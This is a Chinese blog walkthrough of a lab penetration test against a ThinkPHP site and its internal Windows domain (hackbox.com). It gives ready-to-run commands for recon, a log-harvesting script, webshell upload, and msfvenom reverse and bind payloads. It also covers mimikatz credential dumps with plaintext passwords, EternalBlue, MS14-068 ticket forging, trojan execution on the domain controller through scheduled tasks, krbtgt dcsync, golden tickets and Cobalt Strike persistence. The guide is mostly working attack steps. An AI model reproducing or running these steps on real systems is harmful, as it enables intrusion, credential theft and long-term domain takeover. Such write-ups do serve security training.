内网渗透思路08之对常规外网打点拿下域控
作者:互联网
文章目录
一、本章所用技术
这是一个完整的内网域渗透测试实例,从外网打到内网域控,
使用技巧包括但不局限于,
子域名碰撞测试 python编写渗透工具 用metasploit获取域控的ntml 明文 凭据 定位域控 制作白银票据
制作黄金票据 跨路由渗透 内网横行渗透 域控权限维持 cobaltscritke渗透内网域控等多种域渗透技巧。
二、网络示意图
此次最终目标是拿下内网之中的DC机器。
三、信息收集
3.1 端口扫描
探测到我们的目标主机192.168.0.122,我们就可以进行端口扫描。
可以先用masscan 探测哪些端口开放,再用nmap 扫描开放端口具体信息。
masscan -p 1-65535 192.168.0.150--rate=1000
nmap -sC -p 3306,49154,80,47001,49157,139,49153,445,135,49155,49156,49152,3389 -A 192.168.0.150 -oA webhack
-oA 是将结束输出到webhack文件中(会产生多个文件)
3.2 指纹识别一下(whatweb)
命令:Whatweb www.webhack123.com
发现网站大概率是thinkphp搭建的。
3.3 目录扫描之gobuser 的高级用法
使用命令:
gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50
四、对目标进行渗透测试
4.1 外部打点
4.1.1 SVN信息泄露
上边通过目录扫描,发现svn的情况。利用对应脚本直接将网站源码下载。
其中,在一个数据库文件中发现存在账户密码。
Cmd5解密得到密码是123456。
另外,像“ wc.db ”这种数据库文件我们是可以打开的。比如navcat。
发现一些路径信息,有thinkphp的日志文件。可以去我们svn下载的文件那看看。
也可以直接拼接路径,在浏览器打开。
,
使用kali的sqlitebrowser打开,效果一样。
浏览器是可以直接访问的,尝试访问配置文件,发现无法读取。但是却爆出了绝对路径。
当然,这些配置文件。我们通过svn已经下载了。但是没有发现一些敏感信息。
这里能发现绝对路径还是挺好的。说不定别的站,这个就可以直接找到一些敏感信息。
日志文件倒是可以读取。
下载的源代码之中也是存在的。
其实大部分thinkphp网站的日志记录都是打开的,
且有一定的规律,我们可以写一个脚本进行利用。
4.1.2 编写thinkphp3日志泄露工具
import requests
import sys
def addurls(year):
url = "http://www.webhack123.com/App/Runtime/Logs" #记得修改这个网址
urls=[]
for month in range(1,13): #遍历月
for day in range(1,32): #遍历日
if month < 10:
if day < 10:
urls.append(url+"/%s_0%s_0%s.log"%(year,month,day))
else:
urls.append(url+"/%s_0%s_%s.log"%(year,month,day))
else:
if day < 10:
urls.append(url+"/%s_%s_0%s.log"%(year,month,day))
else:
urls.append(url+"/%s_%s_%s.log"%(year,month,day))
return urls
#print(addurls(20))
year = sys.argv[1] #传入年
#print(year)
urls = addurls(year)
for url in urls:
r = requests.get(url)
if r.status_code == 200:
print(url) #将存在的日志的链接打印出
with open("thinkphp3_log.txt","a",encoding='utf-8') as f:
f.write(r.text) #将日志存入文件
使用,
找到最后一个password,
去在线cmd破解一下,
此时得到账户密码,admin,web123。但是目录扫描没有找到后台。
4.1.3 子域名hosts碰撞找后台
目录扫描没有得到后台地址,一般有两种可能。即后台名字比较奇葩,字典没有。
另一个是,后台在域名里。
这里有个小技巧,有一些大的厂商,并不会把所有的子域名都进行备案的。
即他们仅仅通过少数员工通过绑定hosts使用,
这样的话。子域名扫描是根本扫描不出的。这个时候,我们就可以上一个脚本了。
实际使用的话,注意修改一下其中的内容。
他会根据提供的根域名与爆破对应IP下的子域名。这样即使目标没有在idc备案也可以扫描出。
同时将结果保存在hosts_ok文件内。
注意的一点是,他默认会去匹配http与https。这里靶机没有https,我就把它注释了。
别的项目之中记得打开
直接编译运行,
打开结果文件,这里说两个坑,第一是扫描时不要挂代理。
第二是直接cmd运行效果比sublimes好,经过测试,我的sublime扫描不出东西,
但是朋友的可以,不知道哪里出了问题。我本机cmd是没问题的。
小技巧是,像下边这种难分辨时,直接替换到不重要内容如“ 标题:403 错误 - phpstudy ”。
4.1.4 子域名后台上传webshell
将枚举出的子域名添加到hosts内,用在日志文件内找到的账户登录。
登录界面还有一个问题就是验证码功能缺陷,一个验证码可以重复使用很长时间。
看看后台有什么可以上传webshell的地方,
发现可以控制上传文件类型,修改后提交保存。
上传一句马,
复制此图片的地址,
拼接我们刚刚上传一句马的内容访问,得到结果。
连接菜刀,
直接是system权限,接下来上线msf。
4.1.5 上线msf
使用命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=12345 -f exe > s.exe
进行监听,
将木马通过菜刀上传,并执行。
成功上线,
迁移进程到64位系统进程,
4.1.6 mimikatz 哈希明文获取
老规矩,先hashdump一下。
使用 mimikatz_command -f sekurlsa::searchPasswords 读取一下明文。
将结果先复制出来。
[0] { WEB$ ; HACKBOX ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[1] { WEB$ ; HACKBOX ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[2] { Administrator ; WEB ; !@#Qwe456 }
[3] { DNS ; ns1.uniregistrymarket.link ; 950c15ba089f0f795da33a038d92140a36dd151d8933367f1c6d6193a3addbc2a66dfe9f3b1c395b0a1f90caf35433362d4f0ec30bb03f0bc1080797d5fff33ce0de4e8f }
[4] { web$ ; HACKBOX.COM ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[5] { web$ ; HACKBOX.COM ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[6] { WEB ; Administrator ; !@#Qwe456 }
[7] { Administrator ; WEB ; !@#Qwe456 }
猕猴桃可以使用很多命令,可以使用help查看。
在使用“ tspkg ”的时候,发现存在hackbox域用户 web
本地管理员 Administrator 密码 !@#Qwe456
使用arp获取一下靶机内网信息。
4.2 内网渗透
4.2.1 metasploit 是否在域内和找域控位置
先看看网络信息。输入shell,进入目标cmd命令。
输入ipconfig /all 之后乱码,
我们可以通过设置编码来解决。
命令chcp 65001,在查看网络信息好了很多。
先看看内网dns的信息,一般内网的dns服务器都是域控机器。
另一种方法是,进入shell交互下,使用命令:
“ net config workstation ”
但是这里貌似没有找到。
在使用msf一条命令, run post/windows/gather/enum_domain 。发现在域中,
但是IP有一点问题,他是在内网没有找到,直接找的外网。
继续通过hostname看看本机名称,再通过net view看看域列表。
也可以通过,net view /domain来查看工作组信息, 一般workgroup是本地组的信息。
小结一下:
net view /domain //来查看工作组信息, 一般workgroup是本地组的信息。
Hostname //看看本机名称
net view //看看域列表,遍历域内主机。
run post/windows/gather/enum_domain //查看是否在域中,以及域控ip(有误报)
net config workstation //cmd下,看看是否在域中
arp //查看内网主机
另外内网的dns服务区一般都是域控。
4.2.2 获取(主要是SID)登录过的用户信息
使用命令“ run post/windows/gather/enum_logged_on_users ”来获取登录过靶机的机器。
这个命令,很有用,单独伶出来写。主要是对后续做票据很有用。
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
4.2.3 代理路由
通过上述我们大概可以得出,目标在域内,域控主机大概率是10.10.10.149。
开启socks 4代理,
代理成功后,自动放到了后台。可以使用jobs来查看。
此时,仅仅是代理还没增加路由,还不能访问目标内网。
使用run get_local_subnets来看看网络信息。
使用run autoroute -s 10.10.10.0/24 添加路由进行内网渗透。
修改本机配置信息” vim /etc/proxychains.conf “
代理nmap对域控进行扫描“ proxychains nmap -sT -Pn 10.10.10.149 ”。
这有一个问题就是,假如扫描很慢的话,就使用socks 5代理。
使用菜刀将socks5上传开启,msf自带的socks5有bug。
经过一段时间的等待,出来结果。
4.2.4 使用永恒之蓝攻击内网机器
上边扫描到开放445端口,我们可以使用smb的一些0day去打一下。
也可以试试永恒之蓝,这个永恒之蓝目标可以设置为一个内网段,从而对整个内网进行攻击。
还有一个点是,这是都是内网环境,要把payload设置为正向连接,
反弹会话一般是是回不来的。使用命令“ set payload windows/x64/shell/bind_tcp ”
这里貌似攻击成功,
成功的一瞬间,直接掉。且跳板机器还提示要重启。
这波呀,是赔了夫人又折兵。
4.2.5 使用ms14-068提取到域控
4.2.5.1 测试域名账户
注意的是:
此漏洞貌似无法在win ser 2012上利用。
使用这个的条件是,知道一个普通域控用户账户密码。
我们上边获取hash的时候,找到过
[6] { WEB ; Administrator ; !@#Qwe456 }
[7] { Administrator ; WEB ; !@#Qwe456 }
可以试试web是不是域内账户。
使用命令“ run post/windows/manage/enable_rdp ”开启目标远程登录。
远程登录,
选择其他用户,输入“ hackbox\web !@#Qwe456 ”进行登录尝试。提示:
看来账户是对的,只是因为刚刚ms17打的重启导致的问题。因为账户密码出错是这样的:
4.2.5.2 使用ms14-068.exe 来创建票据
使用菜刀上传exp,但是貌似没上传成功。
直接拖到kali,使用msf上传。“ Upload kali本机文件 目标文件 ”
使用菜刀看看,上传成功。
看看脚本利用都需要什么条件。“ 脚本 用户 SID 域控IP 用户的密码”
成功创建。
也可以通过菜刀看看。
4.2.5.3 导入创建成功的票据
来加载kiwi,导入票据。 “ load kiwi ”。
但是发现kiwi没有导入票据的功能,还是得将猕猴桃上传到目标服务器。
此时先访问一下,域控机器的C盘,是无法访问的,没有权限。
运行mimikatz,
先清理一波票据“ kerberos::purge ”,在查看“ kerberos::list ”。
使用命令“ kerberos::ptc TGT_web@hackbox.com.ccache ”进行导入。
再次尝试访问dc的C盘,命令“ dir \\dc\c$ ”。
4.2.5.4 获取域控的权限
此时,我们已经可以访问域控的C盘文件了,但是这显然不是目的。我们要拿到shell。
思路:生成msf正向连接木马,讲木马复制到域控,在设置一个定时任务。
生成正向木马
msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >`pwd`/bind.exe
命令“ upload /roor/桌面 C:/phpstudy_pro/WWW/www.webhack123.com/ ”记得将“ \ ”改为“ / ”。
将木马复制到域控“ copy bind.exe \\dc\C$\ ”
查看域控的时间,“ net time \\dc ”.
设置定事任务“ at \\dc 17:26:00 c:/bind.exe ”
使用“ at \\dc ”来查看定时任务。
看着到时间了,就直接启动msf进行监听。
到此,通过msf拿到域控的会话。
4.2.6 获取dc域控哈希明文
老规矩,迁移完进程hashdump。
加载猕猴桃读取明文“ mimikatz_command -f sekurlsa::searchPasswords ”。
此时就可以通过开启域控3389,进行账户密码登录了。但是此动静可能会大一些。
这里还是给出过程吧。“ run post/windows/manage/enable_rdp ”。
使用命令“ proxychains rdesktop 10.10.10.149 ”
使用得到的账户密码登录,
直接登录到了域控。
4.3 后渗透之权限维持
4.3.1 制作黄金票据
考虑长期权维护,还是做一个黄金票据比较保险,先清理一下刚刚生成的票据。
此时会话是“ web ”服务器的,并不是域控的。要注意!!!
先加载kiwi,然后使用“ kerberos_ticket_purge ”来清理票据。
访问dc的C盘测试,已经不能访问域控的C盘了。
此时,应该开始制作票据了,开始准备一些制作票据的资料(ntml sid)。
先切换回域控会话。
第一种获取“ SID ”的方法,先进入shell环境,
执行“ wmic useraccount where name="krbtgt" get sid ”命令。
这种方式是有缺陷的,即不能获取“ ntml ”。
我们接着来说第二种方法,需要“ 域管理员权限 ”,使用ps查看进程。
切换到任意一个进程,注意使用“ steal_token ”命令而非“ migrate ”。
另一点,要注意进程数是表红框的,不是旁边的。
使用“ dcsync_ntlm krbtgt ”命令来获取krbtgt 的资料
但是,此时提醒没有找到命令,且权限也对。这是因为没有加载“ kiwi ”。
加载后,直接获取到。
[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502
生成黄金票据的公式:
golden_ticket_create -d 域名 -u 任意用户名 -s SID(没有-502) -k NTLM -t 保存位置。
如:
golden_ticket_create -d hackbox.com -u asdzxc -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket
去tmp查看,
4.3.2 注入黄金票据
刚刚我们使用域控会话成功制作了黄金票据,此时我们切换到web服务器会话。
将生成的黄金票据,先验证一下,此时能不能访问域控的c盘。
退出到“ meterpreter ”会话,
使用“ kerberos_ticket_use /tmp/test.ticket ”命令来加载黄金票据。
导入成功,来测试能不能此时能不能访问域控C盘,
4.4 使用CS进行内网渗透
4.4.1 让web服务器上线CS
在kali使用“ ./teamserver 192.168.0.105 aaa123456 ”启动服务端,本机win连接。
新增一个HTTP的监听,
在新增一个SMB的监听。
生成一个木马,
不要选择64位的。
通过菜刀上传连接,
成功上线CS,
4.4.2 获取信任主机 hash和明文导出
将延时设置为0,
老规矩,先迁移进程,然后dump出hash明文等。
将进程迁移到一个64位的进程之中。监听选择SMB吧。
完成迁移。
列出hash与明文。
信息都会保存到这里。
4.4.3 对目标进行一些信息收集
进入bencon,执行“net view”来列举一些域内信息。这个DC的IP依旧是不对的。
可以使用这些快捷功能,来看看。
也可以在这里使用一些端口扫描,
不太建议对整个C端进行扫描,这样动静太大了。
4.4.4 利用MS14-068提权到域控
4.4.4.1 创建票据
先访问一下域控C盘,此时是不行的。
我们之前在使用msf的时候,已经生成了一个。
但是CS是不能直接使用此格式的,需要转换为“ .ticket ”格式的(如黄金票据)。
将他下载到本机,用py2的脚本“ KrbCredExport.py “来转换一下格式。
命令“ python KrbCredExport.py TGT_web@hackbox.com.ccache u.ticket “
这个是“ ms14-068.exe “程序生成的,有时候无法转换成功。
这个时候我们就用对应的py脚本生成” . ccache “文件。注意生成的时候要可以访问到域控。
4.4.4.2 导入票据
在smb会话中进入beacon,输出help可以查看一些命令。
有的同学说,为什么不能导入ccache格式文件,红框上边不是有选项,好我们试试。
直接爆红“ Could not extract ticket from “无法从文件中导入。
好,我们继续试试刚刚转换生成的“ u.ticket “,成功。
测试访问域控C盘,竟然还不行。
有毒,还是老老实实用ms14-068.py去生成一下吧。此时msf的代理还没有关。
使用命令
“ proxychains python ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 “
使用命令“python KrbCredExport.py ../ms14-068py/TGT_web\@hackbox.com.ccache u2.ticket “转换票据格式。
导入转换成功的票据,测试能不能访问dc的C盘,我giao,还不行。
在试试,第二次成功了。
4.4.5 获取域控的控制权限与抓取明文哈希
生成一个正向连接的木马先。
选择刚刚的smb监听器。
用菜刀上传。
切换目录,将木马传递到域控机器。命令“ shell copy beacon.exe \\dc\c$\bea.exe “
查域控时间,新增定事任务。
可以通过“ shell at \\dc “来查看计划任务。
使用“link dc“来连接域控。
来继续获取哈希与明文。
进入凭证信息查看。
4.4.6 制作黄金票据
现在就差sid了,和上边一样,两种方式。
第一种,直接执行命令“ shell wmic useraccount where name="krbtgt" get sid ”。
第二种,直接执行“ dcsync hackbox.com hackbox\krbtgt ”,不用切换用户这个。
此时,先去清理一下票据。命令“ kerberos_ticket_purge ”,
之后再去访问域控C盘,发现还是可以访问。
直接重启web服务器,这样一会看的效果明显。重启后,在菜刀执行木马再次上线CS。
注入进程到smb会话,sleep设置为0。SMB会话尝试获取域控C盘文件。
获取失败,制作黄金票据。
填写设置,除了用户名随意,其余按实填写就行。
成功访问到域控C盘。
五、总结(内网域控环境)
5.1 外网服务器
通过信息收集发现目标是thinkphp搭建且存在svn源代码泄露,下载源码。
寻找日志,关键字搜索password找到后台密码,md5破解成功。
通过子域名扫描找到网站后台,修改上传文件类型getshell。上传msf木马,成功上线。
5.2 内网域控机器
信息收集判断当前主机是否在域环境中,进而寻找一下域控。
通过msf收集一些登录过机器的一些信息(主要是sid),配合MS14-068创建票据。
使用定时任务拿下域控机器,接下来就是制作票据。迁移msf进程到域管理员进程,
加载kiwi,使用“ dcsync_ntlm krbtgt ”命令来获取krbtgt 的资料(SID与NTLM)。
生成票据到tmp目录,切换回外网机器,导入票据顺利访问到域控C盘。
5.3 通过CS进行内网渗透
先创建一个http的监听,一个smb的监听,同时生成32位木马,通过菜刀上传。
成功上线外网服务器到CS,迁移到64位程序进程,通过smb监听在上线一个会话。
抓取机器上的哈希明文信息,自动的保存到凭证信息。
========================
通过ms14-068的py脚本生成ticket格式的票据导入(CS不能导入ccache格式的票据)。
CS生成一个正向连接木马,监听选择刚刚的SMB。通过菜刀上传到外网服务器,
复制木马到域控机器,设置定时任务,最后通过“ link dc”主动连接上线域控机器。
====================================
抓取域控机器哈希明文,在获取一下sid,生成黄金票据。
标签:4.4,打点,4.2,08,票据,web,使用,域控 来源: https://blog.csdn.net/weixin_43970718/article/details/117224605